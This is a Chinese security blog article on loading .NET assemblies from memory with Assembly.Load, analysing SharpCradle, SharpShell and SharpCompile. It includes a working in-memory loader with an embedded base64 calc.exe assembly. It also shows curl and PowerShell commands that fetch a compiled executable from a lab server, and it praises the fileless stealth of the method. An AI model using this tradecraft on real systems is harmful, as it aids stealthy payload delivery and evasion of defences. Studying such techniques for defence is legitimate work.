导语:本文介绍了Assembly.Load的实现方法,结合三个开源工程SharpCradle、SharpShell和SharpCompile,分析细节,总结利用思路。
0x00 前言
在之前的文章《从内存加载.NET程序集(execute-assembly)的利用分析》介绍了"execute-assembly"的实现方法和利用思路,能够从内存中加载.NET程序集。这个功能不需要向硬盘写入文件,十分隐蔽。
与此相似的方法还有一个是Assembly.Load,同样能够从内存中加载.NET程序集。
本文将会结合三个开源工程,介绍Assembly.Load的实现方法,分析利用思路。
0x01 简介
本文将要介绍以下内容:
· 基础知识
· SharpCradle的利用分析
· SharpShell的利用分析
· SharpCompile的利用分析
0x02 基础知识
参考资料:
https://docs.microsoft.com/en-us/dotnet/api/system.reflection.assembly.load?view=netframework-4.5
1.Assembly.Load()、Assembly.LoadFrom()和Assembly.LoadFile()的区别
Assembly.Load()是从String或AssemblyName类型加载程序集,可以读取字符串形式的程序集,也就是说,文件不需要写入硬盘。
Assembly.LoadFrom()从指定文件中加载程序集,同时会加载目标程序集所引用和依赖的其他程序集。
例如:
Assembly.LoadFrom("a.dll"),如果a.dll中引用了b.dll,那么会同时加载a.dll和b.dll。
Assembly.LoadFile()也是从指定文件中加载程序集,但不会加载目标程序集所引用和依赖的其他程序集。
例如:
Assembly.LoadFile("a.dll"),如果a.dll中引用了b.dll,那么不会加载b.dll。
2.Assembly.Load()的实现示例
(1)编写测试程序
测试程序的代码如下:
using System; namespace TestApplication { public class Program { public static void Main() { Console.WriteLine("Main"); } } public class aaa { public static void bbb() { System.Diagnostics.Process p = new System.Diagnostics.Process(); p.StartInfo.FileName = "c:\\windows\\system32\\calc.exe"; p.Start(); } } }
使用csc.exe进行编译:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /out:testcalc.exe test.cs
生成testcalc.exe。
(2)读取testcalc.exe的内容,并作base64加密
代码如下:
using System; using System.Reflection; namespace TestApplication { public class Program { public static void Main() { byte[] buffer = System.IO.File.ReadAllBytes("testcalc.exe"); string base64str = Convert.ToBase64String(buffer); Console.WriteLine(base64str); } } }
(3)解密字符串变量,还原testcalc.exe的内容,使用Assembly.Load()加载程序集并调用方法bbb
代码如下:
using System; using System.Reflection; namespace TestApplication { public class Program { public static void Main() { string base64str = "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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="; byte[] buffer = Convert.FromBase64String(base64str); Assembly assembly = Assembly.Load(buffer); Type type = assembly.GetType("TestApplication.aaa"); MethodInfo method = type.GetMethod("bbb"); Object obj = assembly.CreateInstance(method.Name); method.Invoke(obj, null); } } }
0x03 SharpCradle的利用分析
https://github.com/anthemtotheego/SharpCradle
SharpCradle支持从Web或文件共享下载二进制文件并在内存中加载。
注:这里需要在远程服务器上保存编译后的二进制文件。
SharpCradle的代码很清晰直观,这里提取出调用Assembly.Load()的相关代码,内容如下:
public static void loadAssembly(byte[] bin, object[] commands) { Assembly a = Assembly.Load(bin); try { a.EntryPoint.Invoke(null, new object[] { commands }); } catch { MethodInfo method = a.EntryPoint; if (method != null) { object o = a.CreateInstance(method.Name); method.Invoke(o, null); } }//End try/catch }//End loadAssembly
值得注意的是MethodInfo method = a.EntryPoint;,表示调用的为入口函数
也就是说,被加载的程序集的主要功能要写在Main函数中,例如0x02中的示例代码:
using System; namespace TestApplication { public class Program { public static void Main() { Console.WriteLine("Main"); } } public class aaa { public static void bbb() { System.Diagnostics.Process p = new System.Diagnostics.Process(); p.StartInfo.FileName = "c:\\windows\\system32\\calc.exe"; p.Start(); } } }
使用SharpCradle对其进行远程下载执行时,默认只会执行Main函数中的内容。
0x04 SharpShell的利用分析
https://github.com/cobbr/SharpShell
SharpShell能够利用Rosyln C#编译器快速交叉编译.NET Framework控制台应用程序或库
注:这里只需要代码文件,不需要编译后的二进制文件。
SharpShell包括以下三个子工程:
(1)SharpShell
使用Rosyln C#编译器对输入的代码进行编译,通过内存加载后返回执行的结果。
由于Roslyn只能在.NET Core或.NET 4.6+使用,不支持.NET 3.5和.NET 4.0
所以这里的SharpShell需要.NET 4.6+的环境才能运行。
注:在我的测试环境中,.NET 4.5也可以运行,如下图:
(2)SharpShell.API
SharpShell.API需要.NET Core的开发环境,这里可以参考之前的文章《SharpGen利用分析》中SharpGen的开发环境配置。
SharpShell.API使用ASP.NET Core 2.1调用Roslyn,作为http server,接收从SharpShell.API.SharpShell传来的代码,进行编译后回传生成的二进制文件。
(3)SharpShell.API.SharpShell
SharpShell.API.SharpShell可在.NET 3.5和.NET 4.0使用,将代码文件以POST形式发送到http server,接收编译后的二进制文件,通过内存加载后返回执行的结果。
这里只介绍同Assembly.Load()相关的工程SharpShell.API和SharpShell.API.SharpShell。
1.测试环境搭建
(1)SharpShell.API
需要.NET Core的开发环境
git clone https://github.com/cobbr/SharpShell cd .\SharpShell\SharpShell.API dotnet build --configuration Release cd .\bin\Release\netcoreapp2.1 dotnet SharpShell.API.dll
启动SharpShell.API后,访问:http://127.0.0.1:5000/swagger/index.html
如下图:
(2)SharpShell.API.SharpShell
需要Visual Studio的开发环境,编译后生成文件SharpShell.API.SharpShell.exe
启动后输入测试命令Shell.ShellExecute("whoami");
如下图:
2.实现流程
这里我使用wireshark抓取整个过程的通信数据,较为直观,如下图:
流程如下:
(1)SharpShell.API.SharpShell发送POST请求。
(2)SharpShell.API接收POST请求后,回复确认消息HTTP/1.1 100 Continue。
(3)SharpShell.API.SharpShell发送JSON格式的代码文件。
(4)SharpShell.API接收代码文件,使用Rosyln C#编译器对代码文件进行编译,将生成的内容以base64的形式回复。
(5)SharpShell.API.SharpShell将接收到的回复内容作base64解密,调用Assembly.Load()进行加载。
综上,SharpShell.API.SharpShell也是调用了Assembly.Load()从内存中加载.NET程序集,同SharpCradle的区别如下:
SharpCradle需要在远程服务器上保存编译后的二进制文件。
SharpShell只需要向远程服务器发送代码文件,不需要编译后的二进制文件。
0x05 SharpCompile的利用分析
https://github.com/SpiderLabs/SharpCompile
SharpCompile包括以下两部分:
(1)SharpCompileServer
作为http server,用来接收POST请求传来的代码,进行编译后回传生成的二进制文件。
这里使用csc.exe编译代码,而不是SharpShell中的Rosyln C#编译器。
默认csc.exe版本:C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\csc.exe
注:这里需要注意http server和本地.NET的版本是否一致。
(2)SharpCompile.cna
Cobalt Strike的脚本文件,在使用前需要先指定http server的url和脚本文件保存的位置。
默认使用curl将代码文件上传到http server,所以测试环境需要提前安装curl。
1.实际测试
(1)开启http server
SharpCompileServer需要Visual Studio的开发环境,编译后生成文件SharpCompileServer.exe
执行SharpCompileServer.exe,开启http server,如下图:
(2)http server的功能测试
向http server发送POST格式的代码,查看返回的内容。
test.cs保存代码文件,内容如下:
using System; namespace TestCalc { class Hello { static void Main(string[] args) { System.Diagnostics.Process.Start("calc.exe"); } } }
这里分别使用powershell和curl命令进行测试。
(1)powershell
Invoke-RestMethod -Uri http://192.168.112.175 -Method Post -InFile .\test.cs -OutFile .\out.exe
以上命令会读取test.cs中的内容,发送至http server(http://192.168.112.175),将返回的文件保存为out.exe
注:Invoke-RestMethod命令需要Powershell v3.0
(2)curl
curl --request POST --data-binary @test.cs -o out.exe http://192.168.112.175 -v
以上命令会读取test.cs中的内容,发送至http server(http://192.168.112.175),将返回的文件保存为out.exe
这里使用wireshark抓取整个过程的通信数据,如下图:
(3)SharpCompile.cna测试
在我的测试环境下,SharpCompile.cna中的exec(@command);命令无法执行,所以无法复现SharpCompile.cna的功能。
2.实现流程
但是SharpCompile.cna的代码逻辑比较直观,实现流程如下:
1.调用curl命令将代码文件以post的形式发送至http server,接收内容并保存在本地
2.执行文件
3.删除文件
SharpCompile没有使用Assembly.Load()从内存中加载.NET程序集,而是保存在硬盘执行后删除。
这里可以对其进一步修改,使用Assembly.Load()从内存中加载.NET程序集。
0x06 三个开源工程的比较和利用思路
SharpCradle需要在远程服务器上保存提前编译好的二进制文件,下载后使用Assembly.Load()从内存中加载.NET程序集。
SharpShell.API.SharpShell向远程服务器发送代码文件,服务器使用Rosyln C#编译器生成二进制文件,下载后使用Assembly.Load()从内存中加载.NET程序集。
SharpCompile向远程服务器发送代码文件,服务器使用csc.exe生成二进制文件,下载到本地后直接执行。
功能最为完整的是SharpShell.API.SharpShell,优点如下:
· 整个过程在内存执行,不写入文件系统
· 可生成指定.NET版本的二进制文件
· 仅需要c#格式的payload,当然也可以使用编译好的二进制文件(只能是.NET程序集)
在利用思路上,Assembly.Load同execute-assembly类似,区别在于payload的格式不同。
0x07 小结
本文介绍了Assembly.Load的实现方法,结合三个开源工程SharpCradle、SharpShell和SharpCompile,分析细节,总结利用思路。